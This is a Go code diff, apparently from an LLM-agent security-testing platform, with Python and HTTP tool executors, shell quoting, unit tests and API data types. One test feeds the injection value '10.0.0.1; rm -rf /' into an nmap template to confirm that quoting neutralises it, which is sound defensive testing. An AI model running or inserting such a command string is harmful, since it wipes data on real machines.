body, err := execPython(ctx, interp, key, spec.Code, params, workDir, sessionEnv, timeoutOr(spec.TimeoutMs, 120000))
|
||||
if err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text(clipOutput(body, tc)), nil
|
||||
}
|
||||
|
||||
// execPython writes the code to a temp .py under workDir/.tools, runs it via interp
|
||||
// with the params JSON on stdin + scalar params mirrored to TOOL_<NAME> env, and
|
||||
// returns combined stdout+stderr (with a timeout/exit note). Standalone + testable.
|
||||
func execPython(ctx context.Context, interp, key, code string, params map[string]any, workDir string, sessionEnv []string, timeout time.Duration) (string, error) {
|
||||
toolsDir := filepath.Join(workDir, ".tools")
|
||||
if err := os.MkdirAll(toolsDir, 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
f, err := os.CreateTemp(toolsDir, key+"-*.py")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
tmp := f.Name()
|
||||
defer os.Remove(tmp)
|
||||
if _, err := f.WriteString(code); err != nil {
|
||||
f.Close()
|
||||
return "", err
|
||||
}
|
||||
f.Close()
|
||||
|
||||
runCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
c := exec.CommandContext(runCtx, interp, tmp)
|
||||
c.Dir = workDir
|
||||
c.Env = append(os.Environ(), sessionEnv...) // 会话代理 env
|
||||
for k, v := range params { // 标量参数镜像成 TOOL_<NAME>
|
||||
if sv, ok := scalarStr(v); ok {
|
||||
c.Env = append(c.Env, "TOOL_"+strings.ToUpper(k)+"="+sv)
|
||||
}
|
||||
}
|
||||
pj, _ := json.Marshal(params)
|
||||
c.Stdin = bytes.NewReader(pj) // 参数 JSON 走 stdin
|
||||
out, err := c.CombinedOutput()
|
||||
body := string(out)
|
||||
if runCtx.Err() == context.DeadlineExceeded {
|
||||
body += "\n... [超时终止] ..."
|
||||
} else if err != nil {
|
||||
body += "\n[exit: " + err.Error() + "]"
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// ---------- http:原生请求 + 代理 ----------
|
||||
|
||||
func (s *Server) runHTTPTool(ctx context.Context, execRaw json.RawMessage, params map[string]any) (actool.Result, error) {
|
||||
var spec httpExec
|
||||
_ = json.Unmarshal(execRaw, &spec)
|
||||
method := strings.ToUpper(strings.TrimSpace(spec.Method))
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
rawURL := renderTemplate(spec.URL, params, identity)
|
||||
if strings.TrimSpace(rawURL) == "" {
|
||||
return actool.Errorf("http url 为空"), nil
|
||||
}
|
||||
var bodyReader io.Reader
|
||||
if spec.Body != "" {
|
||||
bodyReader = strings.NewReader(renderTemplate(spec.Body, params, identity))
|
||||
}
|
||||
runCtx, cancel := context.WithTimeout(ctx, timeoutOr(spec.TimeoutMs, 30000))
|
||||
defer cancel()
|
||||
req, err := http.NewRequestWithContext(runCtx, method, rawURL, bodyReader)
|
||||
if err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
for k, v := range spec.Headers {
|
||||
req.Header.Set(k, renderTemplate(v, params, identity))
|
||||
}
|
||||
client := &http.Client{Timeout: timeoutOr(spec.TimeoutMs, 30000)}
|
||||
if tr := s.httpProxyTransport(spec); tr != nil {
|
||||
client.Transport = tr
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return actool.Errorf("请求失败: " + err.Error()), nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
|
||||
out := map[string]any{"status": resp.StatusCode, "body": string(respBody)}
|
||||
b, _ := json.Marshal(out)
|
||||
return actool.Text(clipOutput(string(b), nil)), nil
|
||||
}
|
||||
|
||||
// httpProxyTransport builds a Transport for the http tool's proxy config, or nil
|
||||
// (direct). use_recording_proxy routes through the recording proxy + trusts its CA.
|
||||
func (s *Server) httpProxyTransport(spec httpExec) *http.Transport {
|
||||
proxyStr := strings.TrimSpace(spec.Proxy)
|
||||
var caFile string
|
||||
if spec.UseRecordingProxy {
|
||||
if addr := s.m.ProxyAddr(); addr != "" {
|
||||
proxyStr = "http://" + addr
|
||||
caFile = s.m.ProxyCACert()
|
||||
}
|
||||
}
|
||||
if proxyStr == "" {
|
||||
return nil
|
||||
}
|
||||
pu, err := url.Parse(proxyStr)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
tr := &http.Transport{Proxy: http.ProxyURL(pu)}
|
||||
if caFile != "" {
|
||||
if pem, err := os.ReadFile(caFile); err == nil {
|
||||
pool := x509.NewCertPool()
|
||||
if pool.AppendCertsFromPEM(pem) {
|
||||
tr.TLSClientConfig = &tls.Config{RootCAs: pool}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tr
|
||||
}
|
||||
|
||||
// ---------- helpers ----------
|
||||
|
||||
func identity(s string) string { return s }
|
||||
|
||||
// shellQuote single-quotes a value for safe shell interpolation.
|
||||
func shellQuote(s string) string { return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" }
|
||||
|
||||
// renderTemplate replaces {name} placeholders with each param's rendered value.
|
||||
func renderTemplate(tmpl string, params map[string]any, quote func(string) string) string {
|
||||
out := tmpl
|
||||
for k, v := range params {
|
||||
out = strings.ReplaceAll(out, "{"+k+"}", quote(valToStr(v)))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// valToStr renders a param value: scalars as-is, arrays/objects as compact JSON.
|
||||
func valToStr(v any) string {
|
||||
if sv, ok := scalarStr(v); ok {
|
||||
return sv
|
||||
}
|
||||
b, _ := json.Marshal(v)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// scalarStr returns (string, true) for scalar values, ("", false) for arrays/objects.
|
||||
func scalarStr(v any) (string, bool) {
|
||||
switch x := v.(type) {
|
||||
case string:
|
||||
return x, true
|
||||
case bool:
|
||||
return fmt.Sprintf("%t", x), true
|
||||
case float64:
|
||||
if x == float64(int64(x)) {
|
||||
return fmt.Sprintf("%d", int64(x)), true
|
||||
}
|
||||
return fmt.Sprintf("%g", x), true
|
||||
case nil:
|
||||
return "", true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
// clipOutput caps output to the session's MaxOutputChars (or a default).
|
||||
func clipOutput(s string, tc *actool.ToolContext) string {
|
||||
max := 6000
|
||||
if tc != nil && tc.MaxOutputChars > 0 {
|
||||
max = tc.MaxOutputChars
|
||||
}
|
||||
if len(s) <= max {
|
||||
return s
|
||||
}
|
||||
return s[:max] + fmt.Sprintf("\n... [截断，共 %d 字节] ...", len(s))
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestRenderTemplateCommand(t *testing.T) {
|
||||
// command: string params shell-quoted; array → JSON (also quoted).
|
||||
got := renderTemplate("nmap -p {ports} {target}", map[string]any{
|
||||
"target": "10.0.0.1; rm -rf /", // injection attempt → must be single-quoted
|
||||
"ports": []any{80.0, 443.0},
|
||||
}, shellQuote)
|
||||
if !strings.Contains(got, `'10.0.0.1; rm -rf /'`) {
|
||||
t.Fatalf("target not shell-quoted: %q", got)
|
||||
}
|
||||
if strings.Contains(got, "rm -rf /'") && !strings.Contains(got, `'10.0.0.1; rm -rf /'`) {
|
||||
t.Fatalf("possible injection leak: %q", got)
|
||||
}
|
||||
if strings.Contains(got, "{target}") || strings.Contains(got, "{ports}") {
|
||||
t.Fatalf("placeholders not replaced: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderTemplateHTTP(t *testing.T) {
|
||||
// http: identity (no shell quoting) — raw substitution into url/body.
|
||||
got := renderTemplate("https://x/submit?flag={flag}", map[string]any{"flag": "CTF{abc}"}, identity)
|
||||
if got != "https://x/submit?flag=CTF{abc}" {
|
||||
t.Fatalf("http render: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScalarStr(t *testing.T) {
|
||||
cases := []struct {
|
||||
v any
|
||||
want string
|
||||
ok bool
|
||||
}{
|
||||
{"hi", "hi", true},
|
||||
{true, "true", true},
|
||||
{float64(80), "80", true}, // integer-valued float → no decimal
|
||||
{float64(1.5), "1.5", true}, // real float
|
||||
{[]any{1, 2}, "", false}, // array → not scalar
|
||||
{map[string]any{}, "", false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got, ok := scalarStr(c.v)
|
||||
if ok != c.ok || (ok && got != c.want) {
|
||||
t.Fatalf("scalarStr(%v) = (%q,%v), want (%q,%v)", c.v, got, ok, c.want, c.ok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureSchema(t *testing.T) {
|
||||
// empty → thin {args:string}
|
||||
m := ensureSchema(nil)
|
||||
props, _ := m["properties"].(map[string]any)
|
||||
if _, ok := props["args"]; !ok {
|
||||
t.Fatalf("empty schema should default to args: %v", m)
|
||||
}
|
||||
// non-empty → passthrough
|
||||
raw := json.RawMessage(`{"type":"object","properties":{"target":{"type":"string"}}}`)
|
||||
m2 := ensureSchema(raw)
|
||||
p2, _ := m2["properties"].(map[string]any)
|
||||
if _, ok := p2["target"]; !ok {
|
||||
t.Fatalf("non-empty schema should pass through: %v", m2)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShellQuote(t *testing.T) {
|
||||
if got := shellQuote("a'b"); got != `'a'\''b'` {
|
||||
t.Fatalf("shellQuote(a'b) = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestExecPython runs a real Python script end-to-end: it must read params from
|
||||
// stdin JSON and the mirrored env var, then print — verifying the whole script
|
||||
// param-passing path. Skips if no python3.
|
||||
func TestExecPython(t *testing.T) {
|
||||
interp, err := exec.LookPath("python3")
|
||||
if err != nil {
|
||||
t.Skip("python3 unavailable")
|
||||
}
|
||||
code := `import json,sys,os
|
||||
a = json.load(sys.stdin)
|
||||
print("stdin_target=" + a["target"])
|
||||
print("env_target=" + os.environ.get("TOOL_TARGET",""))
|
||||
print("port=" + str(a["port"]))
|
||||
`
|
||||
out, err := execPython(context.Background(), interp, "test", code,
|
||||
map[string]any{"target": "example.com", "port": float64(8080)},
|
||||
t.TempDir(), nil, 10*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("execPython error: %v", err)
|
||||
}
|
||||
for _, want := range []string{"stdin_target=example.com", "env_target=example.com", "port=8080"} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Fatalf("output missing %q:\n%s", want, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestRunHTTPTool functionally exercises the http executor against a local server:
|
||||
// method/url/header/body templates are rendered from params, the request is sent,
|
||||
// and the response status+body are returned. No recording proxy → s.m untouched.
|
||||
func TestRunHTTPTool(t *testing.T) {
|
||||
var gotMethod, gotAuth, gotBody string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotMethod = r.Method
|
||||
gotAuth = r.Header.Get("Authorization")
|
||||
b, _ := io.ReadAll(r.Body)
|
||||
gotBody = string(b)
|
||||
w.WriteHeader(201)
|
||||
_, _ = w.Write([]byte(`{"ok":true}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
execRaw, _ := json.Marshal(map[string]any{
|
||||
"method": "POST",
|
||||
"url": srv.URL + "/submit?flag={flag}",
|
||||
"headers": map[string]string{"Authorization": "Bearer {token}"},
|
||||
"body": `{"flag":"{flag}"}`,
|
||||
})
|
||||
res, err := (&Server{}).runHTTPTool(context.Background(), execRaw,
|
||||
map[string]any{"flag": "CTF{x}", "token": "sekret"})
|
||||
if err != nil {
|
||||
t.Fatalf("runHTTPTool: %v", err)
|
||||
}
|
||||
if res.IsError || len(res.Content) == 0 {
|
||||
t.Fatalf("unexpected result: %+v", res)
|
||||
}
|
||||
var out struct {
|
||||
Status int `json:"status"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
_ = json.Unmarshal([]byte(res.Content[0].Text), &out)
|
||||
|
||||
if gotMethod != "POST" {
|
||||
t.Fatalf("method: %q", gotMethod)
|
||||
}
|
||||
if gotAuth != "Bearer sekret" {
|
||||
t.Fatalf("header template not rendered: %q", gotAuth)
|
||||
}
|
||||
if gotBody != `{"flag":"CTF{x}"}` {
|
||||
t.Fatalf("body template not rendered: %q", gotBody)
|
||||
}
|
||||
if out.Status != 201 || !strings.Contains(out.Body, `"ok":true`) {
|
||||
t.Fatalf("response not captured: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectPython(t *testing.T) {
|
||||
if _, err := exec.LookPath("python3"); err != nil {
|
||||
t.Skip("python3 unavailable")
|
||||
}
|
||||
if p := detectPython(); p == "" {
|
||||
t.Fatal("detectPython returned empty despite python3 on PATH")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClipOutput(t *testing.T) {
|
||||
long := strings.Repeat("x", 7000)
|
||||
got := clipOutput(long, nil)
|
||||
if len(got) >= 7000 || !strings.Contains(got, "截断") {
|
||||
t.Fatalf("clipOutput should truncate long output, got len %d", len(got))
|
||||
}
|
||||
short := "ok"
|
||||
if clipOutput(short, nil) != short {
|
||||
t.Fatal("clipOutput should pass short output through")
|
||||
}
|
||||
}
|
||||
+386
@@ -0,0 +1,386 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/traffic"
|
||||
)
|
||||
|
||||
// DTO/serialization layer: each handler emits EXACTLY the frontend's spec shapes
|
||||
// (artex/web/src/lib/types.ts). These reshape db package structs so the
|
||||
// internal DB model never leaks over the API. The db structs and the frontend are
|
||||
// the canonical contracts; this file maps one onto the other.
|
||||
|
||||
func i64s(v int64) string { return strconv.FormatInt(v, 10) }
|
||||
|
||||
func rfc3339(t time.Time) string { return t.Format(time.RFC3339) }
|
||||
|
||||
// rawString stringifies a json.RawMessage, returning "" for empty/nil so omitempty
|
||||
// fields drop out.
|
||||
func rawString(raw json.RawMessage) string {
|
||||
if len(raw) == 0 {
|
||||
return ""
|
||||
}
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ---- Task (frontend "Task") ---- created_at as RFC3339, plus a derived status.
|
||||
type TaskDTO struct {
|
||||
ID string `json:"id"`
|
||||
ExplorationID int64 `json:"exploration_id"`
|
||||
Description string `json:"description"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"` // created | running | paused | done | failed
|
||||
CreatedAt string `json:"created_at"`
|
||||
CreatedUnix int64 `json:"created_unix"` // created_at as unix seconds (for run-duration calc)
|
||||
CompletedAt string `json:"completed_at"` // RFC3339 finish time (done/failed); "" if unfinished
|
||||
CompletedUnix int64 `json:"completed_unix"` // completed_at as unix seconds (0 if unfinished)
|
||||
LastActivity int64 `json:"last_activity_unix"` // unix seconds of the last activity (0 if none)
|
||||
Paused bool `json:"paused"`
|
||||
Tokens TokenTotalDTO `json:"tokens"` // whole-task token consumption
|
||||
GoalsTotal int `json:"goals_total"`
|
||||
GoalsMet int `json:"goals_met"`
|
||||
LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // LLM profile used for this task; nil = default
|
||||
}
|
||||
|
||||
// TokenTotalDTO is a whole-task (all agents) token aggregate.
|
||||
type TokenTotalDTO struct {
|
||||
InputTokens int `json:"input_tokens"`
|
||||
OutputTokens int `json:"output_tokens"`
|
||||
CacheReadTokens int `json:"cache_read_tokens"`
|
||||
CacheWriteTokens int `json:"cache_write_tokens"`
|
||||
}
|
||||
|
||||
func tokenTotalDTO(u db.TokenUsage) TokenTotalDTO {
|
||||
return TokenTotalDTO{
|
||||
InputTokens: u.InputTokens,
|
||||
OutputTokens: u.OutputTokens,
|
||||
CacheReadTokens: u.CacheReadTokens,
|
||||
CacheWriteTokens: u.CacheWriteTokens,
|
||||
}
|
||||
}
|
||||
|
||||
func taskDTO(t *Task, status string) TaskDTO {
|
||||
return TaskDTO{
|
||||
ID: t.ID,
|
||||
ExplorationID: t.ExpID,
|
||||
Description: t.Description,
|
||||
Goal: t.Goal,
|
||||
Status: status,
|
||||
CreatedAt: rfc3339(time.Unix(t.CreatedAt, 0)),
|
||||
CreatedUnix: t.CreatedAt,
|
||||
CompletedAt: completedRFC(t.CompletedAt),
|
||||
CompletedUnix: t.CompletedAt,
|
||||
Paused: t.Paused,
|
||||
LLMProfileID: t.LLMProfileID,
|
||||
}
|
||||
}
|
||||
|
||||
// completedRFC renders a unix completion time as RFC3339, or "" when unset (0).
|
||||
func completedRFC(unix int64) string {
|
||||
if unix == 0 {
|
||||
return ""
|
||||
}
|
||||
return rfc3339(time.Unix(unix, 0))
|
||||
}
|
||||
|
||||
// ---- TrafficExchange (frontend "TrafficExchange") ---- ts as RFC3339.
|
||||
type TrafficExchangeDTO struct {
|
||||
ID string `json:"id"`
|
||||
TS string `json:"ts"`
|
||||
Host string `json:"host"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Status int `json:"status"`
|
||||
ContentType string `json:"content_type"`
|
||||
RespLen int `json:"resp_len"`
|
||||
}
|
||||
|
||||
func trafficDTOs(ex []traffic.ExchangeMeta) []TrafficExchangeDTO {
|
||||
out := make([]TrafficExchangeDTO, 0, len(ex))
|
||||
for _, e := range ex {
|
||||
out = append(out, TrafficExchangeDTO{
|
||||
ID: e.ID,
|
||||
TS: rfc3339(time.Unix(e.TS, 0)),
|
||||
Host: e.Host,
|
||||
Method: e.Method,
|
||||
URL: e.URL,
|
||||
Status: e.Status,
|
||||
ContentType: e.ContentType,
|
||||
RespLen: e.RespLen,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- TaskNode (frontend "TaskNode") — frontier, intents, exploration graph nodes ----
|
||||
|
||||
type TaskNodeDTO struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"` // db Node.Kind
|
||||
Payload string `json:"payload,omitempty"`
|
||||
Priority int `json:"priority"`
|
||||
State string `json:"state"`
|
||||
Origin string `json:"origin"`
|
||||
TS string `json:"ts"`
|
||||
}
|
||||
|
||||
func taskNodeDTO(n *db.Node) TaskNodeDTO {
|
||||
return TaskNodeDTO{
|
||||
ID: i64s(n.ID),
|
||||
Type: n.Kind,
|
||||
Payload: rawString(n.Payload),
|
||||
Priority: n.Priority,
|
||||
State: n.State,
|
||||
Origin: n.Origin,
|
||||
TS: rfc3339(n.CreatedAt),
|
||||
}
|
||||
}
|
||||
|
||||
func taskNodeDTOs(in []*db.Node) []TaskNodeDTO {
|
||||
out := make([]TaskNodeDTO, 0, len(in))
|
||||
for _, n := range in {
|
||||
out = append(out, taskNodeDTO(n))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- Edge (frontend "Edge") — exploration edges and asset edges ----
|
||||
|
||||
type EdgeDTO struct {
|
||||
Src string `json:"src"`
|
||||
Dst string `json:"dst"`
|
||||
Rel string `json:"rel"`
|
||||
}
|
||||
|
||||
func edgeDTO(e db.Edge) EdgeDTO {
|
||||
return EdgeDTO{Src: i64s(e.From), Dst: i64s(e.To), Rel: e.Rel}
|
||||
}
|
||||
|
||||
func edgeDTOs(in []db.Edge) []EdgeDTO {
|
||||
out := make([]EdgeDTO, 0, len(in))
|
||||
for _, e := range in {
|
||||
out = append(out, edgeDTO(e))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- Finding (frontend "Finding") ----
|
||||
|
||||
type FindingDTO struct {
|
||||
ID string `json:"id"`
|
||||
VulnClass string `json:"vulnclass"`
|
||||
Severity string `json:"severity"`
|
||||
Summary string `json:"summary"`
|
||||
Evidence string `json:"evidence"`
|
||||
IntentID string `json:"intent_id,omitempty"`
|
||||
ParamID string `json:"param_id,omitempty"`
|
||||
TaskID string `json:"task_id,omitempty"`
|
||||
TaskDescription string `json:"task_description,omitempty"`
|
||||
TS string `json:"ts"`
|
||||
}
|
||||
|
||||
// findingPayload mirrors the JSON written by the worker's report_finding tool
|
||||
// (agent/tools.go addFinding): {vulnclass, severity, summary, evidence:{by,poc}}.
|
||||
type findingPayload struct {
|
||||
VulnClass string `json:"vulnclass"`
|
||||
Severity string `json:"severity"`
|
||||
Summary string `json:"summary"`
|
||||
Evidence json.RawMessage `json:"evidence"`
|
||||
}
|
||||
|
||||
func findingDTO(n *db.Node) FindingDTO {
|
||||
var p findingPayload
|
||||
_ = json.Unmarshal(n.Payload, &p)
|
||||
return FindingDTO{
|
||||
ID: i64s(n.ID),
|
||||
VulnClass: p.VulnClass,
|
||||
Severity: p.Severity,
|
||||
Summary: p.Summary,
|
||||
Evidence: rawString(p.Evidence),
|
||||
TS: rfc3339(n.CreatedAt),
|
||||
}
|
||||
}
|
||||
|
||||
// findingDTOsForTask converts a task's finding nodes to DTOs, stamping each with
|
||||
// the owning task's id/description so the global 发现 page can group across tasks.
|
||||
func findingDTOsForTask(t *Task, in []*db.Node) []FindingDTO {
|
||||
out := make([]FindingDTO, 0, len(in))
|
||||
for _, n := range in {
|
||||
d := findingDTO(n)
|
||||
d.TaskID = t.ID
|
||||
d.TaskDescription = t.Description
|
||||
out = append(out, d)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// findingFromDB converts a standalone DBFinding row to a FindingDTO. task_id and
|
||||
// task_description are empty when the originating task has been deleted (NULL).
|
||||
func findingFromDB(f *db.DBFinding) FindingDTO {
|
||||
d := FindingDTO{
|
||||
ID: i64s(f.ID),
|
||||
VulnClass: f.VulnClass,
|
||||
Severity: f.Severity,
|
||||
Summary: f.Summary,
|
||||
Evidence: f.Evidence,
|
||||
TS: rfc3339(f.CreatedAt),
|
||||
}
|
||||
if f.TaskID != nil {
|
||||
d.TaskID = i64s(*f.TaskID)
|
||||
d.TaskDescription = f.TaskDescription
|
||||
}
|
||||
if f.NodeID != nil {
|
||||
d.IntentID = "" // node_id is the finding node, not the intent; keep IntentID empty
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
// ---- Activity (frontend "Activity") ----
|
||||
|
||||
type ActivityDTO struct {
|
||||
Seq int64 `json:"seq"` // db Activity.ID
|
||||
IntentID string `json:"intent_id,omitempty"` // db NodeID
|
||||
Worker string `json:"worker"`
|
||||
TS string `json:"ts"` // db CreatedAt
|
||||
Kind string `json:"kind"`
|
||||
Tool string `json:"tool,omitempty"`
|
||||
ToolUseID string `json:"tool_use_id,omitempty"`
|
||||
IsError bool `json:"is_error"`
|
||||
Summary string `json:"summary"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
// token usage (set only on kind='result'); used for per-session token totals.
|
||||
InputTokens *int `json:"input_tokens,omitempty"`
|
||||
OutputTokens *int `json:"output_tokens,omitempty"`
|
||||
CacheReadTokens *int `json:"cache_read_tokens,omitempty"`
|
||||
CacheWriteTokens *int `json:"cache_write_tokens,omitempty"`
|
||||
}
|
||||
|
||||
func activityDTO(a db.Activity) ActivityDTO {
|
||||
intent := ""
|
||||
if a.NodeID != nil {
|
||||
intent = i64s(*a.NodeID)
|
||||
}
|
||||
return ActivityDTO{
|
||||
Seq: a.ID,
|
||||
IntentID: intent,
|
||||
Worker: a.Worker,
|
||||
TS: rfc3339(a.CreatedAt),
|
||||
Kind: a.Kind,
|
||||
Tool: a.Tool,
|
||||
ToolUseID: a.ToolUseID,
|
||||
IsError: a.IsError,
|
||||
Summary: a.Summary,
|
||||
Detail: a.Detail, // list endpoint leaves this empty (lazy)
|
||||
InputTokens: a.InputTokens,
|
||||
OutputTokens: a.OutputTokens,
|
||||
CacheReadTokens: a.CacheReadTokens,
|
||||
CacheWriteTokens: a.CacheWriteTokens,
|
||||
}
|
||||
}
|
||||
|
||||
func activityDTOs(in []db.Activity) []ActivityDTO {
|
||||
out := make([]ActivityDTO, 0, len(in))
|
||||
for _, a := range in {
|
||||
out = append(out, activityDTO(a))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- Agent (frontend "Agent") — string id ----
|
||||
|
||||
type AgentDTO struct {
|
||||
ID string `json:"id"`
|
||||
Key string `json:"key"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Role string `json:"role"`
|
||||
Builtin bool `json:"builtin"`
|
||||
Enabled bool `json:"enabled"`
|
||||
MaxTurns int `json:"max_turns"`
|
||||
RunSecs int `json:"run_seconds"`
|
||||
WebSearch bool `json:"web_search"`
|
||||
InteractiveShell bool `json:"interactive_shell"`
|
||||
// binding counts (populated only by the list endpoint) — shown on agent cards.
|
||||
McpCount int `json:"mcp_count"`
|
||||
SkillCount int `json:"skill_count"`
|
||||
ToolCount int `json:"tool_count"`
|
||||
}
|
||||
|
||||
func agentDTO(a *db.Agent) AgentDTO {
|
||||
return AgentDTO{
|
||||
ID: i64s(a.ID),
|
||||
Key: a.Key,
|
||||
Name: a.Name,
|
||||
Description: a.Description,
|
||||
Role: a.Role,
|
||||
Builtin: a.Builtin,
|
||||
Enabled: a.Enabled,
|
||||
MaxTurns: a.MaxTurns,
|
||||
RunSecs: a.RunSecs,
|
||||
WebSearch: a.WebSearch,
|
||||
InteractiveShell: a.InteractiveShell,
|
||||
}
|
||||
}
|
||||
|
||||
func agentDTOs(in []*db.Agent) []AgentDTO {
|
||||
out := make([]AgentDTO, 0, len(in))
|
||||
for _, a := range in {
|
||||
out = append(out, agentDTO(a))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ---- LLMProfile (frontend "LLMProfile") — string id ----
|
||||
|
||||
type LLMProfileDTO struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Format string `json:"format"`
|
||||
BaseURL string `json:"base_url,omitempty"`
|
||||
Proxy string `json:"proxy,omitempty"`
|
||||
Model string `json:"model"`
|
||||
APIKeyHint string `json:"api_key_hint,omitempty"`
|
||||
RatePerSecond float64 `json:"rate_per_second"`
|
||||
RatePerMinute float64 `json:"rate_per_minute"`
|
||||
ContextWindowK int `json:"context_window_k"`
|
||||
ReasoningEffort string `json:"reasoning_effort"`
|
||||
IsDefault bool `json:"is_default"`
|
||||
}
|
||||
|
||||
func llmProfileDTO(p *db.LLMProfile) LLMProfileDTO {
|
||||
return LLMProfileDTO{
|
||||
ID: i64s(p.ID),
|
||||
Name: p.Name,
|
||||
Format: p.Format,
|
||||
BaseURL: p.BaseURL,
|
||||
Proxy: p.Proxy,
|
||||
Model: p.Model,
|
||||
APIKeyHint: p.APIKeyHint,
|
||||
RatePerSecond: p.RatePerSecond,
|
||||
RatePerMinute: p.RatePerMinute,
|
||||
ContextWindowK: p.ContextWindowK,
|
||||
ReasoningEffort: p.ReasoningEffort,
|
||||
IsDefault: p.IsDefault,
|
||||
}
|
||||
}
|
||||
|
||||
func llmProfileDTOs(in []*db.LLMProfile) []LLMProfileDTO {
|
||||
out := make([]LLMProfileDTO, 0, len(in))
|
||||
for _, p := range in {
|
||||
out = append(out, llmProfileDTO(p))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// idStrings formats a slice of int64 ids as strings (for visibility agent ids).
|
||||
func idStrings(in []int64) []string {
|
||||
out := make([]string, 0, len(in))
|
||||
for _, v := range in {
|
||||
out = append(out, i64s(v))
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,595 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/norma/harness"
|
||||
"github.com/Autumn-27/norma/llm"
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
)
|
||||
|
||||
// model_error（provider/API 故障：LLM 层瞬时重试耗尽，或流已开始后中途断流）
|
||||
// 收场的 work 不是「试过没做完」也不是真失败，而是外部抖动。默认把它当永久
|
||||
// blocked 会白丢一条意图，所以这里对该终态额外重跑几次，每次之间退避一下，给
|
||||
// provider 恢复的时间；重试期间若被暂停/终止/取消则立即让位给对应分支处理。
|
||||
const (
|
||||
modelErrorRetries = 2 // model_error 收场后额外重试的次数
|
||||
modelErrorRetryBackoff = 3 * time.Second // 每次重试前的退避
|
||||
)
|
||||
|
||||
// Engine drives the event-driven exploration loop with real LLM agents
|
||||
// (docs §4.3/§4.4): on asset/exploration-graph change (debounced) it wakes the
|
||||
// planner, which reads the route, queries assets, judges goals and emits intents;
|
||||
// N concurrent work agents claim intents and execute them. There is no
|
||||
// simulation mode — an LLM provider is required. The planner/worker can be
|
||||
// (re)installed at runtime (LLM configured from the UI); the loops always run
|
||||
// but idle until an LLM is set.
|
||||
type Engine struct {
|
||||
m *Manager
|
||||
debounce time.Duration
|
||||
|
||||
bc *Broadcaster // live activity pub/sub (SSE)
|
||||
|
||||
mu sync.RWMutex
|
||||
planner *agent.Planner
|
||||
worker *agent.Worker
|
||||
started sync.Map // taskID -> bool, so Run is idempotent per task
|
||||
lastAct sync.Map // taskID -> int64 unix, last planner/worker activity (heartbeat)
|
||||
paused sync.Map // taskID -> bool, user-paused (planner + workers idle but loops alive)
|
||||
|
||||
// per-task execution context: each planner.Plan / worker.Execute runs under it,
|
||||
// so pausing can CANCEL an in-flight run (not just skip the next one). Recreated
|
||||
// on resume since cancelling is one-shot.
|
||||
execMu sync.Mutex
|
||||
execCancel map[string]context.CancelFunc
|
||||
execCtx map[string]context.Context
|
||||
|
||||
// per-work (per running intent) cancel, so the planner's kill_work can stop a
|
||||
// single worker without pausing the whole task. Keyed by globally-unique intent id.
|
||||
workMu sync.Mutex
|
